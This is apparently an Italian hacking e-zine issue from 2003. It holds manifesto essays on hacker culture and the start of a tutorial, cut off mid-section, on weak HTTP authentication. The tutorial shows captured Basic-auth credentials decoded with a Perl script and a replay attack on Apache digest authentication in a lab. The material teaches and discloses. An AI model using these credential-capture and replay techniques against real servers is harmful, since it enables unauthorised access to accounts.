Copy Link
Add to Bookmark
Report

OndaQuadra 09

eZine's profile picture
Published in 
OndaQuadra
 · 5 years ago

  

,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
::::::::::::, .::::::::::::::::::::::::::::::,. .,:::,,.........,:
::::::::,. s@@@@@@#. .:::::, .,:::::::::. ,:. ,, :::::::::,.:
::::::, ;@@@@@@@@@@@@@: ,:: ;H@@Ar .:::::::. :@@@@@@: , s@@@@@s :
:::::. 2@@@ :@@@@@@@H .:, @@@@@@@@@@: .::::: ,@@@r @@@G H@@@, s@@@:
:::: s@@@2 ,,, #@@@@@@r :,:@@@@@@@@@@@; ,:::. 2@@# :@@# @@@2 #@@:
:::, A@@@@ :::::, @@@@@@@ :, #@@@@@@@@ ::, .@@@ ,. 9@@M 9@@# A@@@:
::: @@@@@ ,:::::. 5@@@@@2 :::, S@@@@@@@@@: ,:,.#@@: ,, @@@; 2@@@@S@@@@@A:
::: i@@@@@G ,::::. r@@@@r .::: @@@@@@@@@@@ ,, @@@ : i@@H .;Ss,;@@h :
::: i@@@@@@A @@@@ .::, h@@@@@@@@@@@; @@H i@@# . 9@@@ ,
::: @@@@@@@@@3;.i@@@S ,::. r@@@@@@@@@@@@@@H @@@ A@@3 .,, X@@@ ,:
:::, .@@@@@@@@@@@@@: ,::, @@@@@@@@@@@@@@@@@@ @@@@@@3 ,.@@@@@@M .:::
::::, 9@@@@@@i .::::: @@@@@@@@@@@@@@@@@@@@@@@S ,:::::::::::::::::::::
:::::,. .,::::, &@@@@@@@@@@@@@@@@@@@@@@@@H .::::::::::::::::::::
::::::::. ,:. @@@@@@@@@@@@@@@@@@@@@@@@@@@; ,::::::::::::::::::
:::::, :@@@@@@@@@@@; .. @@@@@@@@@@@@@@@@@@@@@@@@@@@@@ .:::::::::::::::::
:::, M@@s ,@@@@@@@@2 . @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@r .::::::::::::::::
::. @@@# .. @@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@; ,:::::::::::::::
:, ,@@@@ :::::. @@@@@@i , &@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ :::::::::::::::
: @@@@2 ,::::::. r@@@@@r :, G@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ,::::::::::::::
: S@@@@A ::::::: @@@@@ .:::. @@@@@@@@@@@@@@@@@@@@@@@@@H,A,,::::::::::::::
: H@@@@@; ,,,, 5@@@H ,:::: @@@@@@@@@@@@@@@@@@@@@@@@@@S ,::::::::::::::
: S@@@@@@@. H@@# ,:::::. @@@@@@@@@@@@@@@@@@@@@@@@@@@. :::::::::::::::
:. #@@@@@@@@@@@@@@& ,:::::::, @@@@@@@@@@@@@@@@@@@@@@@@@@@2 :::::::::::::::
:, &@@@@@@@@@H ,:::::,. M@@r2@@:@@@@@@@@@@@@@@@@@@@; :::::::::::::::
:::, A@: .,,,.2&22@@@@, A@@@@@@@@@@@@@@@@@@ :::::::::::::::
:::, .s@@@@@@@@@@@@A: s2@@@HA@@2B@M@@ A@@@@@@@@@@@@@@@ .::::::::::::::
:::,;@@@@@@@@@@@@@@@@@@@@h, ;@@@rs@@@@@@@@@@@@@@ .:::::::::::::
:::, ,3@@@@@@@@@@@@@@@@2. .@@@@@@@@@@@@@@@G :::::,. ,::
:::::::::,,. r@@@@@@@@@@@@@@@@@h; ,S#@@@@@@@@@@@r ,. 2@3,::
:::::::::::::::,. ;#@@@@@@@@@@@@@@@@@i. &@@@@@@; :H@@@@S ,::
::::::::::::::::::::,. .5@@@@@@@@@@@@@@@@@@Ai: :@@@@@@@; ,:::
:::::::::::::::::::::::::,. :G@@@@@@@@@@@@@@@@@@@@@@@@A: .,::::::
:::::::::::::::::::::::::::::::,. ... .,,::::::::::
::::::::::::::::::::::::::::::::::::::,,.. ..,,:::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

+--------------------------------------------------------------------------+
| ONDAQUADRA #09 - 01/06/2003 |
+--------------------------------------------------------------------------+
| Tutto nel ciberspazio |
| E' scandito dalla squarewave |
| Dei micro-processori |
| Il clock dei micro |
| E' come |
| Un battito cardiaco |
| Elettronico... |
+--------------------------------------------------------------------------+
| http://www.ondaquadra.org |
| mail@ondaquadra.org ~ articoli@ondaquadra.org |
+--------------------------------------------------------------------------+

<-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-->

+--------------------------------------------------------------------------+
| LEGAL DISCLAIMER |
+--------------------------------------------------------------------------+
| |
| Nessuna persona dello staff di OndaQuadra si assume responsibilita' |
| per l'uso improprio dell'utilizzo dei testi e dei programmi presenti |
| nella e-zine, ne' per danni a terzi derivanti da esso. |
| OndaQuadra non contravviene in alcun modo alle aggiunte/modificazioni |
| effettuate con la legge 23 dicembre 1993, n.547 ed in particolare |
| agli artt. 615-quater- e 615-quinques-. |
| Lo scopo di OndaQuadra e' solo quello di spiegare quali sono e come |
| avvengono le tecniche di intrusione al fine di far comprendere come |
| sia possibile difendersi da esse, rendere piu' sicura la propria box e |
| in generale approfondire le proprie conoscenze in campo informatico. |
| I programmi allegati sono semplici esempi di programmazione che hanno |
| il solo scopo di permettere una migliore comprensione di quanto |
| discusso e spiegato nei testi. |
| Non e' soggetta peraltro agli obblighi imposti dalla legge 7 marzo 2001, |
| n. 62 in quanto non diffusa al pubblico con "periodicita' regolare" ex |
| art. 1 e pertanto non inclusa nella previsione dell'art.5 della legge |
| 8 febbraio 1948, n.47. |
| |
+--------------------------------------------------------------------------+

<--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-->

+--------------------------------------------------------------------------+
| COSTITUZIONE DELLA REPUBBLICA ITALIANA |
+--------------------------------------------------------------------------+
| Diritti e doveri dei cittadini: Rapporti civili |
| |
| Articolo 21 |
| Tutti hanno diritto di manifestare liberamente il proprio pensiero |
| con la parola, lo scritto e ogni altro mezzo di diffusione. [...] |
+--------------------------------------------------------------------------+

<--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-->

+--------------------------------------------------------------------------+
| INDICE |
+--------------------------------------------------------------------------+
| [L0GiN] |
| 0x01 PiRATi, RiBELLi E DANDY ................................ [oq~staff] |
| 0x02 GURU MEDiTATi0N: FiLE N0T F0UND ....................... [Tritemius] |
| 0x03 ViSi0NARi .............................................. [oq~staff] |
+--------------------------------------------------------------------------+
| [HACKiNG] |
| 0x04 PASSW0RD iN CHiAR0, AMiCiZiA LUNGA ......................... [eazy] |
| 0x05 SYMB0LiC LiNK VULNERABiLiTiES ..................... [Master^Shadow] |
+--------------------------------------------------------------------------+
| [NETW0RKiNG] |
| 0x06 LE RETi ..................................................... [Spy] |
| 0x07 iNTR0DUZi0NE ALLE RETi ..................................... [l1l0] |
+--------------------------------------------------------------------------+
| [LiNUX] |
| 0x08 I0, LiNUX ED UNA WEBCAM ..................................... [ink] |
| 0x09 PATCH ?!? MA Si MANGiAN0? ................................. [spyro] |
| 0x0A PKGT00L E SLACKWARE PACKAGES .............................. [spyro] |
| 0x0B LiRC .................................................. [BrNoCrIsT] |
+--------------------------------------------------------------------------+
| [C0DiNG] |
| 0x0C PLUS #3 .................................................. [Mastro] |
| 0x0D QUERY GUESSiNG ............................................. [eazy] |
| 0x0E PR0MEM0RiA iN VB ........................................... [Pupi] |
| 0x0F MATRiX ..................................................... [Pupi] |
| 0x10 CREARE UNA DLL iN C PER ViSUAL BASiC .................. [cyberdude] |
| 0x11 iNTERNET APPLiCATI0N iN DELPHi ........................ [cyberdude] |
| 0x12 00P ..................................................... [warfare] |
| 0x13 C0S'E' SGML ?? PARLiAM0NE UN P0' ...................... [cyberdude] |
+--------------------------------------------------------------------------+
| [L'ANG0L0 DEGLi EXPL0iT] |
| 0x14 SCRiVERE UN EXPL0iT DiM0STRATiV0 ................. [Auriemma Luigi] |
| 0x15 BUFFER 0VERFL0W: DALLA TE0RiA ALLA PRATiCA ....... [Auriemma Luigi] |
+--------------------------------------------------------------------------+
| [MiSC] |
| 0x16 CHARGER HACKiNG ........................................... [bondo] |
| 0x17 GUARDA GUARDA CHE Ti LEGG0 iL W0RD ....................... [Dagart] |
+--------------------------------------------------------------------------+
| [L0 SCiAMAN0] |
| 0x18 TRA RETE & REALTA' ......................................... [Pupi] |
| 0x19 SCLER0 Di UN P0MERiGGi0 QUALUNQUE .......................... [Pupi] |
| 0x1A #W0NDERLAND ........................................... [MinDBlinD] |
+--------------------------------------------------------------------------+
| [L'APPRENDiSTA STREG0NE] |
| 0x1B C0DiCE iNVERS0: CRiTT0GRAFiA DiGiTALE AVANZATA PARTE 6 ..... [Zer0] |
| 0x1C 0VERCL0CK ESTREM0 Di UN ATHL0N XP ........................... [DJK] |
| 0x1D CRYPT0APi iN DELPHi? MA CHE S0N0? ..................... [cyberdude] |
| 0x1E BL0WCHAT - UNA CHAT CRiTTATA iN DELPHi .................. [Ippatsu] |
+--------------------------------------------------------------------------+
| [SHUTD0WN] |
| 0x1F iLLUSi0Ni ................................................... [rAn] |
+--------------------------------------------------------------------------+
| [C0NTATTi] |
| 0x20 D0VE TR0VARCi .......................................... [oq~staff] |
+--------------------------------------------------------------------------+
| [ALLEGATi] |
| 0x01 QUERY.TXT .............................................. [oq~staff] |
| 0x02 BLOWCHAT.ZIP ........................................... [oq~staff] |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ L0GiN #09 - 01/06/2003 |
| PiRATi, RiBELLi E DANDY [oq~staff] 0x01/0x20 |
+--------------------------------------------------------------------------+
| |
| A molti di voi non sara' sfuggita l'accelerezione che ha subito il |
| processo di banalizzazione della figura dell'hacking negli ultimi mesi. |
| Banalizzazione dovuta alla massificazione della Rete prima e |
| dell'hacking stesso poi. |
| Le librerie sono ormai colme di libri su cui campeggia la |
| scritta "hacker"; per non parlare delle edicole, sempre piu' |
| traboccanti di riviste piu' o meno interessanti dedicate all'argomento. |
| Non si tratta solo della stampa specializzata. Su quasi tutti i numeri |
| di tutte le riviste di informatica, di novita' tecnologiche, di |
| costume, si possono trovare articoli che trattano di sicurezza (questo |
| e' il travestimento dell'hacking presso i benpensanti). |
| E l'habitat naturale dell'hacker, Internet ? Stessa sorte. E' un |
| moltiplicarsi di ezine, siti, mailing-list. Tutti, ma proprio tutti, |
| parlano di hacking. |
| Anzi, l'hacking e' diventato facile! Due click e lo ZoneAlarm e' |
| installato, quindi sono un hacker ! Ho scoperto il traceroute, ho |
| installato Linux, ho la maglietta col pinguino: sono un hacker ! |
| A che serve oggi una ezine, una crew, un sito di hacking se tutte le |
| informazioni, le attivita' che una volta si potevano trovare solo su |
| Internet possono facilmente essere reperite ovunque, in qualsiasi |
| edicola ? |
| Alla base del problema vi e' un fraintendimento della figura |
| dell'hacker; gli appartenenti stessi all'eterogeneo mondo hackersco |
| sono caduti nella trappola ed hanno via via rinunciato alle |
| caratteristiche fondamentali dell'hacking per diventare i docili |
| cagnolini massificati dell'era digitale. |
| Fin dall'inizio la cultura hacker si contraddistinguo per alcune |
| caratteristiche: |
| L'amore per le conoscenze "proibite" e l'estetica del linguaggio. |
| Inutile negarlo: tutti quelli che in un modo o nell'altro sono stati |
| affascinati dall'hacking sono stati attratti dalla possibilita' di fare |
| cose proibite o di avere accesso a informazioni proibite. |
| Quindi le crew di hacker (pirati) si formano spinti dalla ricerca del |
| proibito e creano un linguaggio che li distingue; un linguaggio |
| tecnichese ma non pedante o accademico. |
| Nelle stesse ezine delle origini (pensiamo a phrack), l'aspetto |
| interessante non era la qualita' o il grado di "innovazione" delle |
| informazioni pubblicate, quanto il linguaggio utilizzato; questo |
| aspetto viene mostrato con efficacia da Bruce Sterling nel libro "Giro |
| di vite contro gli hackers". |
| L'hacker deve quindi tornare alla sua cultura, alla cultura del proibito |
| supportata da una buona dose di estetismo. |
| Torniamo a Prometeo passando per Oscar Wilde. Siamo pirati: pirati, |
| ribelli e dandy. |
| |
| |
| |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ L0GiN #09 - 01/06/2003 |
| GURU MEDiTATi0N: FiLE N0T F0UND [Tritemius] 0x02/0x20 |
+--------------------------------------------------------------------------+
| |
| |
| Se fino a qualche anno fa Internet poteva essere definita un'Interzona |
| oggi non e' piu' possibile. |
| La Rete e' presa d'assalto dalle orde capitalistiche, dagli spammatori, |
| dai signori dei dialers. |
| Internet, la nuova terra da colonizzare e' stata infine catturata. Il |
| controllo e' sempre piu' forte; la massificazione ha fatto il resto. Di |
| fatto l'assorbimento di Internet da parte del conformismo, del |
| mainstream, da quelli che benpensano e' piu' un atto di imperialismo |
| psichico che di controllo tecnico effettivo. |
| Prima ancora che dai Carnivore, dagli Echelon, dai Sorm vari, l'attacco |
| e' stato sferrato in modo subliminale dai meccanismi di persuasione |
| occulta. Hollywood e i suoi derivati sono ancora le portaerei piu' |
| temibili. |
| Il Leviatano ha proiettato, tramite i suoi meccanismi di propaganda e |
| ipnosi, la sua visione della Rete nelle coscienze dei cittadini; anzi, |
| degli spettatori in quanto oggi i cittadini del moderno occidente non |
| sono piu' tali, bensi' spettatori di una rappresentazione, uno |
| spettacolo. |
| Dietro allo sfavillante colossal del potere economico, finanziario |
| e bellico si nasconde il Nulla. |
| L'imperialismo psichico agisce prima sulla coscienza e di conseguenza |
| nella realta'. |
| La proiezione del Leviatano e' una mappa, una convenzione usata per |
| esercitare controllo; ma come e' noto la mappa non e' il territorio. |
| E se il territorio e' molto diverso dalla mappa, allora possiamo |
| pensare di utilizzare Internet come infrastruttura di una Controrete. |
| Possiamo infiltrarci negli spazi lasciati liberi dalla mappa psichica e |
| instaurare le nostre Utopie Pirata. La nostra battaglia sara' quindi |
| una "scomparsa". |
| Di fronte all'onnipresenza e alla pienezza del Leviatano noi svaniremo, |
| tatticamente diverremo il Vuoto. Saremo degli spiriti nel |
| sistema; "file not found" ringhiera' il Leviatano alla nostra |
| ricerca incapace di trovarci; ma noi saremo li', come virus travestiti |
| da alternate data streams ! |
| Di fronte all'onnipresenza e alla pienezza del Leviatano noi svaniremo. |
| I nostri nemici non potranno far altro che rincorrere i fantasmi, |
| rincorrere il Vento finche' non riusciranno a ridefinire il nemico e ad |
| aggiornare la mappa. |
| Ma sara' troppo tardi: ci saremo gia' mossi verso un nuovo nascondiglio |
| indefinibile e saremo di nuovo inafferrabili. |
| Il Meraviglioso ci attende. |
| |
| ("TAZ: Zone Temporaneamente Autonome", Hakim Bey, edizioni Shake). |
| |
| |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ L0GiN #09 - 01/06/2003 |
| ViSi0NARi [oq~staff] 0x03/0x20 |
+--------------------------------------------------------------------------+
| "Anche il Vuoto possiede un ritmo" |
| (Miyamoto Musashi) |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ HACKiNG #09 - 01/06/2003 |
| PASSW0RD iN CHiAR0, AMiCiZiA LUNGA [eazy] 0x04/0x20 |
+--------------------------------------------------------------------------+
| |
| |
| |
| 1. Premessa |
| |
| 2. Tipi di Autenticazione |
| |
| 3. Basic Authentication |
| 3.1 Decode Base64 |
| |
| 4. Digest Authentication |
| 4.1 Replay Attack |
| 4.2 MITM Attack |
| 4.3 Brute Force Attack |
| 4.4 Implementazione |
| |
| |
| |
| |
| 1. Premessa |
| |
| Uno schema di autenticazione forte rappresenta un elemento essenziale |
| per la sicurezza del sistema, negli ultimi anni sono stati fatti grossi |
| passi in avanti grazie all'introduzione di servizi che permettono la |
| criptazione delle credenziali di accesso dell'utente. |
| Tuttavia molti servizi a rischio tardano spesso ad essere rimpiazzati |
| con una versione sicura che implementi la crittografia della sessione |
| esponendo in tal modo il sistema ad accessi non autorizzati. |
| |
| Il presente documento intende fornire al lettore una panoramica delle |
| principali vulnerabilità legate all'utilizzo di uno schema di |
| autenticazione debole per quanto riguarda il protocollo HTTP. |
| |
| |
| 2. Tipi di autenticazione |
| |
| Al fine di fornire un accesso autenticato ad una risorsa raggiungibile |
| tramite HTTP possiamo avvalerci di diversi sistemi a seconda delle |
| nostre esigenze, come vedremo in seguito alcuni di essi si riveleranno |
| al quanto insicuri. |
| I sistemi di autenticazione HTTP che hanno visto una maggiore diffusione |
| sono principalmente due e sono presentati nel corso di questo testo in |
| ordine crescente in base al livello di sicurezza che sono in grado di |
| offrire: |
| |
| 1) Basic Authentication |
| schema di autenticazione debole, il nome utente e la password vengono |
| inviate in rete codificate in base64; |
| |
| 2) Digest Authentication |
| viene trasmesso in rete l'hash del nome utente e la password, un |
| meccanismo di challange/response previene la possibilità di replay |
| attack; |
| |
| Nei prossimi capitoli i due schemi di autenticazione verranno analizzati |
| separatamente e verranno sollevate le dovute considerazioni inerenti la |
| sicurezza degli stessi. |
| |
| |
| 3. Basic Authentication |
| |
| Lo schema di autenticazione basic prevede che le credenziali dell'utente |
| vengano inviate in rete codificate in base64, questo equivale a tutti |
| gli effetti a trasmettere nome utente e password in chiaro con le ovvie |
| conseguenze del caso. |
| |
| Nel momento in cui il client richiede tramite una GET una pagina |
| protetta da una basic authentication... |
| |
| |
| 20:54:39 192.168.1.4:1167 --> 192.168.1.6:80 |
| |
| GET /login HTTP/1.0. |
| Connection: Keep-Alive. |
| User-Agent: Mozilla/4.77 [en] (X11; U; Linux 2.4.18 i686). |
| Host: paperino.linuxbox.com. |
| Accept: image/gif, image/x-xbitmap, image/jpeg, image/png, */*. |
| Accept-Encoding: gzip. |
| Accept-Language: en. |
| Accept-Charset: iso-8859-1,*,utf-8. |
| |
| |
| ...il server gli risponde con un messaggio 401 Authorization Required |
| per mezzo del quale gli richiede di autenticarsi per accedere a tale |
| risorsa. Nell'header HTTP di tale messaggio compare la voce |
| WWW-Authenticate che specifica lo schema di autenticazione da adottarsi |
| e il realm al quale appartiene la risorsa di cui si sta facendo |
| richiesta... |
| |
| |
| 20:54:39 192.168.1.6:80 --> 192.168.1.4:1167 |
| |
| HTTP/1.1 401 Authorization Required. |
| Date: Thu, 30 Jan 2003 20:51:29 GMT. |
| Server: Apache/1.3.26 (Unix). |
| WWW-Authenticate: Basic realm="Login". |
| Connection: close. |
| Content-Type: text/html; charset=iso-8859-1. |
| |
| |
| ...il client ripete la GET precedente fornendo questa volta le proprie |
| credenziali che vengono inoltrate per mezzo della voce Authorization |
| che compare nell'header... |
| |
| |
| 20:55:18 192.168.1.4:1168 --> 192.168.1.6:80 |
| |
| GET /login HTTP/1.0. |
| Connection: Keep-Alive. |
| User-Agent: Mozilla/4.77 [en] (X11; U; Linux 2.4.18 i686). |
| Host: paperino.linuxbox.com. |
| Accept: image/gif, image/x-xbitmap, image/jpeg, image/png, */*. |
| Accept-Encoding: gzip. |
| Accept-Language: en. |
| Accept-Charset: iso-8859-1,*,utf-8. |
| Authorization: Basic cGlwcG86cGlwcG8=. |
| |
| |
| ...il valore del campo Authorization specifica rispettivamente lo schema |
| adottato e le credenziali dell'utente codificate in base64. |
| |
| |
| 3.1 Decode Base64 |
| |
| Il valore codificato in base64 può essere decodificato applicando la |
| relativa funzione di decodifica, allego qui di seguito un semplice |
| script in Perl, scritto da un certo Dragon, che assolve egregiamente |
| tale funzione: |
| |
| ---------------- decode_base64.pl ---------------- |
| |
| # /usr/bin/perl |
| # author: Dragon - dragon@securityassoc.com |
| # simple perl script to convert Base64 to clear-text |
| # Many weak security mechanisms as well as transport protocols |
| # rely on base64 encoding scheme. |
| # Examples : HTTP basic authentication, SMTP base64 attachments |
| |
| use MIME::Base64; |
| |
| print " \n"; |
| print " Author: The Singapore Dragon - dragon\@securityassoc.com\n"; |
| print " Web: www.securityassoc.com\n\n"; |
| print " Usage decode_base64.pl [encoded-text] \n"; |
| print " \n"; |
| |
| my $encoded = shift; |
| $decode = decode_base64($encoded); |
| print " The decoded data is: $decode\n"; |
| |
| ---------------- decode_base64.pl ---------------- |
| |
| |
| Possiamo in questo modo applicare la funzione di decodifica al valore in |
| base64 esaminato utilizzando lo script decode_base64.pl: |
| |
| # perl decode_base64.pl cGlwcG86cGlwcG8= |
| |
| Author: The Singapore Dragon - dragon@securityassoc.com |
| Web: www.securityassoc.com |
| |
| Usage decode_base64.pl [encoded-text] |
| |
| The decoded data is: pippo:pippo |
| |
| |
| Un utente malizioso che sia venuto in possesso delle nostre credenziali |
| può in questo modo ottenere un accesso non autorizzato all'intero realm. |
| |
| |
| 4. Digest Authentication |
| |
| L'intento della digest authentication è quello di offrire uno schema di |
| autenticazione alternativo alla basic authentication in grado di |
| sopperire, almeno in parte, alle gravi mancanze da esso dimostrate. |
| Nel corso dell'articolo ci addentreremo nell'analisi dell' |
| implementazione fornita dal modulo mod_digest.c che viene caricato di |
| default dalla release apache-1.3.27, la più recente disponibile al |
| momento per quanto riguarda la serie 1.3.x. |
| |
| Grazie allo schema digest le credenziali dell'utente non vengono mai |
| mandate in chiaro, bensì viene inviato un hash (response) di tali |
| valori. Al momento della connessione il client richiede una risorsa |
| protetta tramite una GET... |
| |
| |
| 11:34:22 192.168.1.5:32775 --> 192.168.1.4:80 |
| |
| GET /login/ HTTP/1.1. |
| User-Agent: Mozilla/5.0 (compatible; Konqueror/3; Linux). |
| Accept: text/*, image/jpeg, image/png, image/*, */*. |
| Accept-Encoding: x-gzip, gzip, identity. |
| Accept-Charset: ISO-8859-1, utf-8;q=0.5, *;q=0.5. |
| Accept-Language: en, POSIX. |
| Host: pippo.linuxbox.com. |
| |
| |
| ...come per la basic il server gli risponde con un messaggio 401 |
| Authorization Required per mezzo del quale gli richiede di autenticarsi |
| per accedere a tale risorsa. Alla voce WWW-Authenticate è indicato lo |
| schema di autenticazione da adottarsi unitamente al realm e al nonce... |
| |
| |
| 11:34:22 192.168.1.4:80 --> 192.168.1.5:32775 |
| |
| HTTP/1.1 401 Authorization Required. |
| Date: Tue, 04 Feb 2003 10:34:22 GMT. |
| Server: Apache/1.3.20 (Unix). |
| WWW-Authenticate: Digest realm="Login", nonce="1044354862". |
| Transfer-Encoding: chunked. |
| Content-Type: text/html; charset=iso-8859-1. |
| |
| |
| ...il client ripete la GET fornendo le credenziali necessarie per |
| garantirsi l'accesso alla risorsa, tali credenziali sono rappresentate |
| in particolar modo dal valore del campo response... |
| |
| |
| 11:34:28 192.168.1.5:32776 --> 192.168.1.4:80 |
| |
| GET /login/ HTTP/1.1. |
| User-Agent: Mozilla/5.0 (compatible; Konqueror/3; Linux). |
| Accept: text/*, image/jpeg, image/png, image/*, */*. |
| Accept-Encoding: x-gzip, gzip, identity. |
| Accept-Charset: ISO-8859-1, utf-8;q=0.5, *;q=0.5. |
| Accept-Language: en, POSIX. |
| Host: pippo.linuxbox.com. |
| Authorization: Digest username="pippo", realm="Login", |
| nonce="1044354862", uri="/login/", algorithm="MD5", |
| response="f39e7e7e63adffc9d7a06e9c0ce68d03". |
| |
| |
| Il valore del response viene calcolato dando in pasto all'algoritmo MD5 |
| una serie di parametri (concatenati per mezzo di ":") che rappresentano |
| le credenziali e la richiesta avanzata dal client per una data risorsa: |
| username, realm, password, nonce, method e request URI. |
| |
| response = MD5(MD5(username:realm:passwd):nonce:MD5(method:request URI)) |
| |
| Dal valore dell'hash non è possibile risalire alle credenziali dell' |
| utente per la natura stessa dell'algoritmo MD5. |
| Segue una breve descrizione dei parametri che prendono parte alla |
| generazione dell'hash di response da parte del client: |
| |
| username: rappresenta il nome dell'utente che richiede l'autenticazione |
| per l'accesso ad una certa risorsa; |
| |
| passwd: la password di accesso al realm per un dato username; |
| |
| nonce: un challenge inviato dal server per introdurre variabilità nella |
| generazione del response da parte del client e impedire il riutilizzo |
| dello stesso response per accessi successivi in modo tale da prevenire |
| replay attack; |
| |
| method: il metodo HTTP riferito alla risorsa specificata dal request |
| URI, impedisce che lo stesso response posso essere utilizzato per |
| riferire una risorsa con due o più metodi HTTP differenti; |
| |
| request URI: la risorsa a cui si desidera ottenere accesso, impedisce |
| che lo stesso response possa essere utilizzato per accedere a risorse |
| differenti all'interno del realm; |
| |
| La funzione di ciascuno di tali parametri nella generazione dell'hash di |
| response verrà meglio chiarita nel corso dell'articolo, è bene tener |
| presente che ognuno di essi svolge un ruolo fondamentale per assicurare |
| una certa robustezza allo schema di autenticazione nel suo complesso. |
| |
| Il server mantiene in locale un database relativo alle credenziali degli |
| utenti per ogni realm, ogni entry di tale file è composta dall'hash MD5 |
| di username, realm e password, ovvero: |
| |
| MD5(username:realm:passwd) |
| |
| In questo modo il server è messo nelle condizioni di poter calcolare |
| dinamicamente il response corretto al variare dei valori relativi a |
| nonce, method e request URI. |
| Il response calcolato dinamicamente dal server viene confrontato con |
| quello ricevuto di volta in volta dal client, se questi corrispondono |
| viene consentito l'accesso alla risorsa protetta. |
| |
| |
| 4.1 Replay Attack |
| |
| Un replay attack consiste nel riutilizzo di uno stesso response per |
| ottenere accessi successivi ad una certa risorsa. |
| Facciamo il caso di un ipotetico schema di autenticazione che preveda la |
| generazione di un response secondo il seguente algoritmo: |
| |
| response = MD5(username:realm:passwd) |
| |
| Le credenziali non vengono trasmesse in chiaro, ma un utente malizioso |
| che dovesse venire in possesso semplicemente dell'hash da esse ottenuto |
| si garantirebbe un accesso duraturo al sistema pur non conoscendo ne |
| l'username ne la password. Esso potrebbe, infatti, limitarsi a replicare |
| il response precedentemente catturato che rappresenta la sola risorsa |
| necessaria perchè l'autenticazione abbia successo. |
| |
| Per ovviare a tale problema entra in gioco il nonce, il cui valore viene |
| generato di volta in volta dal server allo scopo di invalidare un |
| response precedentemente utilizzato e impedirne così la ripetizione: |
| |
| response = MD5(MD5(username:realm:passwd):nonce) |
| |
| Tuttavia l'utilizzo di un nonce differente per ogni richiesta ha una |
| grossa ricaduta sulle prestazioni a causa della totale impossibilità di |
| gestire richieste in parallelo. |
| Questo ha portato a una soluzione che rappresenta un compromesso tra |
| prestazioni e sicurezza e si compone dei seguenti punti: |
| |
| 1) introduzione di un tempo massimo di validità entro il quale il nonce |
| può essere riutilizzato: |
| |
| nonce = time-stamp H(time-stamp) |
| |
| 2) utilizzo dell'IP del client nella generazione del nonce al fine di |
| limitare il riutilizzo dello stesso da parte dell'host legittimo: |
| |
| nonce = time-stamp H(time-stamp ":" IP) |
| |
| 3) aggiunta dei campi method e request URI per circoscrivere la |
| ripetibilità del response ad una risorsa precisa: |
| |
| response = MD5(MD5(username:realm:passwd):nonce:MD5(method:request URI)) |
| |
| |
| Purtroppo l'implementazione offerta da mod_digest.c non si è rivelata |
| sufficientemente restrittiva e aderente alle linee descritte dall'RFC |
| 2617 da impedire del tutto la possibilità di replay attack su una |
| risorsa: |
| |
| |
| 16:26:28 192.168.1.4:80 --> 192.168.1.5:32768 |
| |
| HTTP/1.1 401 Authorization Required. |
| Date: Tue, 04 Feb 2003 15:26:28 GMT. |
| Server: Apache/1.3.20 (Unix). |
| WWW-Authenticate: Digest realm="Login", nonce="1044372388". |
| Transfer-Encoding: chunked. |
| Content-Type: text/html; charset=iso-8859-1. |
| |
| |
| // Accesso legittimo |
| |
| 16:26:33 192.168.1.5:32769 --> 192.168.1.4:80 |
| |
| GET /login/ HTTP/1.1. |
| User-Agent: Mozilla/5.0 (compatible; Konqueror/3; Linux). |
| Accept: text/*, image/jpeg, image/png, image/*, */*. |
| Accept-Encoding: x-gzip, gzip, identity. |
| Accept-Charset: ISO-8859-1, utf-8;q=0.5, *;q=0.5. |
| Accept-Language: en, POSIX. |
| Host: pippo.linuxbox.com. |
| Authorization: Digest username="pippo", realm="Login", |
| nonce="1044372388", uri="/login/", algorithm="MD5", |
| response="df7307fddc38e8d63dee5e60cf56cbf8". |
| |
| |
| 16:26:33 192.168.1.4:80 --> 192.168.1.5:32769 |
| |
| HTTP/1.1 200 OK. |
| Date: Tue, 04 Feb 2003 15:26:33 GMT. |
| Server: Apache/1.3.20 (Unix). |
| Transfer-Encoding: chunked. |
| Content-Type: text/html. |
| |
| |
| // Accesso tramite replay attack, a circa 30 secondi dall'accesso |
| // precedente, stesso nonce e stesso response da un diverso IP |
| |
| 16:27:08 192.168.1.6:32774 --> 192.168.1.4:80 |
| |
| GET /login/ HTTP/1.1. |
| User-Agent: Mozilla/5.0 (compatible; Konqueror/3; Linux). |
| Pragma: no-cache. |
| Cache-control: no-cache. |
| Accept: text/*, image/jpeg, image/png, image/*, */*. |
| Accept-Encoding: x-gzip, gzip, identity. |
| Accept-Charset: ISO-8859-1, utf-8;q=0.5, *;q=0.5. |
| Accept-Language: en, POSIX. |
| Host: pippo.linuxbox.com. |
| Authorization: Digest username="pippo", realm="Login", |
| nonce="1044372388", uri="/login/", algorithm="MD5", |
| response="df7307fddc38e8d63dee5e60cf56cbf8". |
| |
| |
| 16:27:08 192.168.1.4:80 --> 192.168.1.6:32774 |
| |
| HTTP/1.1 200 OK. |
| Date: Tue, 04 Feb 2003 15:27:08 GMT. |
| Server: Apache/1.3.20 (Unix). |
| Transfer-Encoding: chunked. |
| Content-Type: text/html. |
| |
| |
| Un'implementazione molto più robusta della digest authentication viene |
| fornita dal modulo mod_auth_digest.c che viene ritenuto ancora in fase |
| sperimentale ma che si rivela molto più efficace nel prevenire la |
| possibilità di replay attack. Come vedremo in seguito tale schema non è |
| tuttavia sufficiente per contrastare attacchi avanzati quali man in the |
| middle o attacchi basati sulla crittoanalisi. |
| |
| |
| 4.2 MITM Attack |
| |
| Un attacco man-in-the-middle (MITM) consente, ad un host estraneo alla |
| procedura di autenticazione, di sostituirsi ad uno o ad entrambi i capi |
